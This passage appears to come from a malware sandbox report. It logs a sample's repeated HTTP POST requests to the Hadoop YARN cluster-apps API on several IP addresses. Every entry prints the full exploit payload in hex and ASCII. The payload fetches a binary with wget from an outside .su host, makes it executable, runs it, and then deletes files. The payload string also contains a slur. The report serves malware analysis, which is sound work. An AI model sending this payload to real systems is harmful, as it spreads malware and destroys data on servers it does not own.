x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 114.142.230.93:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 114.142.230.93:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 114.142.230.93:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 114.142.230.93:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 208.35.19.171:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 208.35.19.171:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 208.35.19.171:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 118.143.223.55:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 118.143.223.55:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 118.143.223.55:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 157.173.158.186:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 157.173.158.186:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 157.173.158.186:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 61.221.100.106:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 61.221.100.106:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 61.221.100.106:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 61.221.100.106:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 184.87.98.222:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 184.87.98.222:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: {"application-id":"","application-name":"exploit","am-container-spec":{"commands":{"command":"cd /tmp; wget http://pen.gorillafirewall.su/x86_32.nn; chmod 777 x86_32.nn; ./x86_32.nn yarngayfag; rm -rf *"}},"application-type":"YARN"}
Source: global traffic	HTTP traffic detected: POST /ws/v1/cluster/apps HTTP/1.1Host: 61.221.100.106:8088Content-Type: application/jsonContent-Length: 232Data Raw: 7b 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 69 64 22 3a 22 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 6e 61 6d 65 22 3a 22 65 78 70 6c 6f 69 74 22 2c 22 61 6d 2d 63 6f 6e 74 61 69 6e 65 72 2d 73 70 65 63 22 3a 7b 22 63 6f 6d 6d 61 6e 64 73 22 3a 7b 22 63 6f 6d 6d 61 6e 64 22 3a 22 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 70 65 6e 2e 67 6f 72 69 6c 6c 61 66 69 72 65 77 61 6c 6c 2e 73 75 2f 78 38 36 5f 33 32 2e 6e 6e 3b 20 63 68 6d 6f 64 20 37 37 37 20 78 38 36 5f 33 32 2e 6e 6e 3b 20 2e 2f 78 38 36 5f 33 32 2e 6e 6e 20 79 61 72 6e 67 61 79 66 61 67 3b 20 72 6d 20 2d 72 66 20 2a 22 7d 7d 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 2d 74 79 70 65 22 3a 22 59 41 52 4e 22 7d Data Ascii: 